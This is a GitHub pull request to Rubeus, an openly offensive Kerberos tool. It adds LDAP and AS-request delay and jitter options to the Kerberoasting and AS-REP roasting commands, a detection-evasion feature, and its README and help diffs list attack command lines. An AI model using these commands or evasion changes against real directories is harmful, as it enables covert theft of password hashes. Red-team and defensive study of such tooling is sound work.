Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add ldap delay during Kerberoast and Asreproast #146

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
24 changes: 21 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -243,8 +243,11 @@ Rubeus is licensed under the BSD 3-Clause license.
Perform Kerberoasting, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010, returning up to 5 service tickets:
Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap]

Perform Kerberoasting, with a delay of 5000 milliseconds and a jitter of 30%:
Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap]
Perform Kerberoasting, with a delay of 5000 milliseconds between TGS requests and a jitter of 30%:
Rubeus.exe kerberoast /tgsdelay:5000 /jitter:30 [/ldaps] [/nowrap]

Perform Kerberoasting, with a delay of 500 seconds after the LDAP request and a jitter of 30%:
Rubeus.exe kerberoast /ldapdelay:500 /jitter:30 [/ldaps] [/nowrap]

Perform AES Kerberoasting:
Rubeus.exe kerberoast /aes [/ldaps] [/nowrap]
Expand All @@ -260,7 +263,15 @@ Rubeus is licensed under the BSD 3-Clause license.

Perform AS-REP "roasting" for any users without preauth using alternate credentials:
Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU,..."] [/ldaps] [/nowrap]

Perform AS-REP "roasting" for any users without preauth:
Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]

Perform AS-REP "roasting", with a delay of 5000 milliseconds between AS requests and a jitter of 30%:
Rubeus.exe asreproast /asdelay:5000 /jitter:30 [/ldaps] [/nowrap]

Perform AS-REP "roasting", with a delay of 500 seconds after the LDAP request and a jitter of 30%:
Rubeus.exe asreproast /ldapdelay:500 /jitter:30 [/ldaps] [/nowrap]

Miscellaneous:

Expand Down Expand Up @@ -3029,7 +3040,9 @@ If the `/pwdsetbefore:MM-dd-yyyy` argument is supplied, only accounts whose pass

If the `/resultlimit:NUMBER` argument is specified, the number of accounts that will be enumerated and roasted is limited to NUMBER.

If the `/delay:MILLISECONDS` argument is specified, that number of milliseconds is paused between TGS requests. The `/jitter:1-100` flag can be combined for a % jitter.
If the `/tgsdelay:MILLISECONDS` argument is specified, that number of milliseconds is paused between TGS requests. The `/jitter:1-100` flag can be combined for a % jitter.

If the `/ldapdelay:SECONDS` argument is specified, that number of seconds is paused after the LDAP request. The `/jitter:1-100` flag can be combined for a % jitter.

If the `/enterprise` flag is used, the spn is assumed to be an enterprise principal (i.e. *[email protected]*). This flag only works when kerberoasting with a TGT.

Expand Down Expand Up @@ -3319,6 +3332,11 @@ The output `/format:X` defaults to John the Ripper ([Jumbo version](https://gith

If the `/ldaps` flag is used, any LDAP queries will go over TLS (port 636).

If the `/asdelay:MILLISECONDS` argument is specified, that number of milliseconds is paused between AS requests. The `/jitter:1-100` flag can be combined for a % jitter.

If the `/ldapdelay:SECONDS` argument is specified, that number of seconds is paused after the LDAP request. The `/jitter:1-100` flag can be combined for a % jitter.


AS-REP roasting all users in the current domain:

C:\Rubeus>Rubeus.exe asreproast
Expand Down
43 changes: 42 additions & 1 deletion Rubeus/Commands/Asreproast.cs
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,9 @@ public void Execute(Dictionary<string, string> arguments)
string format = "john";
string ldapFilter = "";
string outFile = "";
int ldapdelay = 0;
int asdelay = 0;
int jitter = 0;
bool ldaps = false;
System.Net.NetworkCredential cred = null;

Expand Down Expand Up @@ -66,6 +69,44 @@ public void Execute(Dictionary<string, string> arguments)
ldaps = true;
}

if (arguments.ContainsKey("/ldapdelay"))
{
ldapdelay = Int32.Parse(arguments["/ldapdelay"]);
if (ldapdelay < 1)
{
Console.WriteLine("[!] WARNING: ldap delay is in seconds! Please enter a value > 1.");
return;
}
}

if (arguments.ContainsKey("/asdelay"))
{
asdelay = Int32.Parse(arguments["/asdelay"]);
if (asdelay < 100)
{
Console.WriteLine("[!] WARNING: delay is in milliseconds! Please enter a value > 100.");
return;
}
}

if (arguments.ContainsKey("/jitter"))
{
try
{
jitter = Int32.Parse(arguments["/jitter"]);
}
catch
{
Console.WriteLine("[X] Jitter must be an integer between 1-100.");
return;
}
if (jitter <= 0 || jitter > 100)
{
Console.WriteLine("[X] Jitter must be between 1-100");
return;
}
}

if (String.IsNullOrEmpty(domain))
{
domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
Expand Down Expand Up @@ -93,7 +134,7 @@ public void Execute(Dictionary<string, string> arguments)

cred = new System.Net.NetworkCredential(userName, password, domainName);
}
Roast.ASRepRoast(domain, user, ou, dc, format, cred, outFile, ldapFilter, ldaps);
Roast.ASRepRoast(domain, user, ou, dc, format, cred, outFile, ldapFilter, ldaps, ldapdelay, asdelay, jitter);
}
}
}
31 changes: 21 additions & 10 deletions Rubeus/Commands/Kerberoast.cs
Original file line number Diff line number Diff line change
Expand Up @@ -29,7 +29,8 @@ public void Execute(Dictionary<string, string> arguments)
string pwdSetAfter = "";
string pwdSetBefore = "";
int resultLimit = 0;
int delay = 0;
int tgsdelay = 0;
int ldapdelay = 0;
int jitter = 0;
bool simpleOutput = false;
bool enterprise = false;
Expand Down Expand Up @@ -156,11 +157,21 @@ public void Execute(Dictionary<string, string> arguments)
// limit the number of roastable users
resultLimit = Convert.ToInt32(arguments["/resultlimit"]);
}

if (arguments.ContainsKey("/delay"))

if (arguments.ContainsKey("/ldapdelay"))
{
ldapdelay = Int32.Parse(arguments["/ldapdelay"]);
if (ldapdelay < 1)
{
Console.WriteLine("[!] WARNING: ldap delay is in seconds! Please enter a value > 1.");
return;
}
}

if (arguments.ContainsKey("/tgsdelay"))
{
delay = Int32.Parse(arguments["/delay"]);
if(delay < 100)
tgsdelay = Int32.Parse(arguments["/tgsdelay"]);
if(tgsdelay < 100)
{
Console.WriteLine("[!] WARNING: delay is in milliseconds! Please enter a value > 100.");
return;
Expand Down Expand Up @@ -242,13 +253,13 @@ public void Execute(Dictionary<string, string> arguments)
nopreauth = arguments["/nopreauth"];
}

if (!String.IsNullOrWhiteSpace(nopreauth) && (String.IsNullOrWhiteSpace(spn) && (spns == null || spns.Count < 1)))
{
Console.WriteLine("\r\n[X] /spn or /spns is required when specifying /nopreauth\r\n");
return;
if (!String.IsNullOrWhiteSpace(nopreauth) && (String.IsNullOrWhiteSpace(spn) && (spns == null || spns.Count < 1)))
{
Console.WriteLine("\r\n[X] /spn or /spns is required when specifying /nopreauth\r\n");
return;
}

Roast.Kerberoast(spn, spns, user, OU, domain, dc, cred, outFile, simpleOutput, TGT, useTGTdeleg, supportedEType, pwdSetAfter, pwdSetBefore, ldapFilter, resultLimit, delay, jitter, listUsers, enterprise, autoenterprise, ldaps, nopreauth);
Roast.Kerberoast(spn, spns, user, OU, domain, dc, cred, outFile, simpleOutput, TGT, useTGTdeleg, supportedEType, pwdSetAfter, pwdSetBefore, ldapFilter, resultLimit, ldapdelay, tgsdelay, jitter, listUsers, enterprise, autoenterprise, ldaps, nopreauth);
}
}
}
12 changes: 10 additions & 2 deletions Rubeus/Domain/Info.cs
Original file line number Diff line number Diff line change
Expand Up @@ -171,8 +171,11 @@ Rubeus.exe kerberoast /stats [/ldaps] [/nowrap]
Perform Kerberoasting, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010, returning up to 5 service tickets:
Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap]

Perform Kerberoasting, with a delay of 5000 milliseconds and a jitter of 30%:
Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap]
Perform Kerberoasting, with a delay of 5000 milliseconds between TGS requests and a jitter of 30%:
Rubeus.exe kerberoast /tgsdelay:5000 /jitter:30 [/ldaps] [/nowrap]

Perform Kerberoasting, with a delay of 500 seconds after the LDAP request and a jitter of 30%:
Rubeus.exe kerberoast /ldapdelay:500 /jitter:30 [/ldaps] [/nowrap]

Perform AES Kerberoasting:
Rubeus.exe kerberoast /aes [/ldaps] [/nowrap]
Expand All @@ -189,6 +192,11 @@ Rubeus.exe kerberoast /aes [/ldaps] [/nowrap]
Perform AS-REP ""roasting"" for any users without preauth using alternate credentials:
Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU,...""] [/ldaps] [/nowrap]

Perform AS-REP ""roasting"", with a delay of 5000 milliseconds between AS requests and a jitter of 30%:
Rubeus.exe asreproast /asdelay:5000 /jitter:30 [/ldaps] [/nowrap]

Perform AS-REP ""roasting"", with a delay of 500 seconds after the LDAP request and a jitter of 30%:
Rubeus.exe asreproast /ldapdelay:500 /jitter:30 [/ldaps] [/nowrap]

Miscellaneous:

Expand Down
55 changes: 47 additions & 8 deletions Rubeus/lib/Roast.cs
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@ namespace Rubeus
{
public class Roast
{
public static void ASRepRoast(string domain, string userName = "", string OUName = "", string domainController = "", string format = "john", System.Net.NetworkCredential cred = null, string outFile = "", string ldapFilter = "", bool ldaps = false)
public static void ASRepRoast(string domain, string userName = "", string OUName = "", string domainController = "", string format = "john", System.Net.NetworkCredential cred = null, string outFile = "", string ldapFilter = "", bool ldaps = false, int ldapdelay = 0, int asdelay = 0, int jitter = 0)
{
if (!String.IsNullOrEmpty(userName))
{
Expand Down Expand Up @@ -41,6 +41,27 @@ public static void ASRepRoast(string domain, string userName = "", string OUName
}
else
{

if (ldapdelay != 0)
{
Console.WriteLine($"[*] Using a delay of {ldapdelay} seconds after LDAP request.");
if (jitter != 0)
{
Console.WriteLine($"[*] Using a jitter of {jitter}% after LDAP request.");
}
Console.WriteLine();
}

if (asdelay != 0)
{
Console.WriteLine($"[*] Using a delay of {asdelay} milliseconds between AS requests.");
if (jitter != 0)
{
Console.WriteLine($"[*] Using a jitter of {jitter}% between AS requests.");
}
Console.WriteLine();
}

string userSearchFilter = "";

if (String.IsNullOrEmpty(userName))
Expand Down Expand Up @@ -72,6 +93,7 @@ public static void ASRepRoast(string domain, string userName = "", string OUName
Console.WriteLine("[X] No users found to AS-REP roast!");
}

Helpers.RandomDelayWithJitter(ldapdelay * 1000, jitter);
foreach (IDictionary<string, Object> user in users)
{
string samAccountName = (string)user["samaccountname"];
Expand All @@ -80,6 +102,7 @@ public static void ASRepRoast(string domain, string userName = "", string OUName
Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName);

GetASRepHash(samAccountName, domain, domainController, format, outFile);
Helpers.RandomDelayWithJitter(asdelay, jitter);
}
}

Expand Down Expand Up @@ -181,7 +204,7 @@ public static void GetASRepHash(string userName, string domain, string domainCon
}
}

public static void Kerberoast(string spn = "", List<string> spns = null, string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", bool simpleOutput = false, KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", string ldapFilter = "", int resultLimit = 0, int delay = 0, int jitter = 0, bool userStats = false, bool enterprise = false, bool autoenterprise = false, bool ldaps = false, string nopreauth = null)
public static void Kerberoast(string spn = "", List<string> spns = null, string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", bool simpleOutput = false, KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", string ldapFilter = "", int resultLimit = 0, int ldapdelay = 0, int tgsdelay = 0, int jitter = 0, bool userStats = false, bool enterprise = false, bool autoenterprise = false, bool ldaps = false, string nopreauth = null)
{
if (userStats)
{
Expand Down Expand Up @@ -214,9 +237,19 @@ public static void Kerberoast(string spn = "", List<string> spns = null, string
return;
}

if(delay != 0)
if (ldapdelay != 0)
{
Console.WriteLine($"[*] Using a delay of {delay} milliseconds between TGS requests.");
Console.WriteLine($"[*] Using a delay of {ldapdelay} seconds after LDAP request.");
if (jitter != 0)
{
Console.WriteLine($"[*] Using a jitter of {jitter}% after LDAP request.");
}
Console.WriteLine();
}

if (tgsdelay != 0)
{
Console.WriteLine($"[*] Using a delay of {tgsdelay} milliseconds between TGS requests.");
if(jitter != 0)
{
Console.WriteLine($"[*] Using a jitter of {jitter}% between TGS requests.");
Expand Down Expand Up @@ -450,6 +483,12 @@ public static void Kerberoast(string spn = "", List<string> spns = null, string
// used to keep track of years that users had passwords last set in
SortedDictionary<int, int> userPWDsetYears = new SortedDictionary<int, int>();

if (!userStats)
{
// convert ldapdelay in ms
Helpers.RandomDelayWithJitter(ldapdelay*1000, jitter);
}

foreach (IDictionary<string, Object> user in users)
{
string samAccountName = (string)user["samaccountname"];
Expand Down Expand Up @@ -529,26 +568,26 @@ public static void Kerberoast(string spn = "", List<string> spns = null, string
}

bool result = GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, enterprise, dc, etype);
Helpers.RandomDelayWithJitter(delay, jitter);
Helpers.RandomDelayWithJitter(tgsdelay, jitter);
if (!result && autoenterprise)
{
Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal");
servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain);
GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, true, dc, etype);
Helpers.RandomDelayWithJitter(delay, jitter);
Helpers.RandomDelayWithJitter(tgsdelay, jitter);
}
}
else
{
// otherwise use the KerberosRequestorSecurityToken method
bool result = GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput);
Helpers.RandomDelayWithJitter(delay, jitter);
Helpers.RandomDelayWithJitter(tgsdelay, jitter);
if (!result && autoenterprise)
{
Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal");
servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain);
GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput);
Helpers.RandomDelayWithJitter(delay, jitter);
Helpers.RandomDelayWithJitter(tgsdelay, jitter);
}
}
}
Expand Down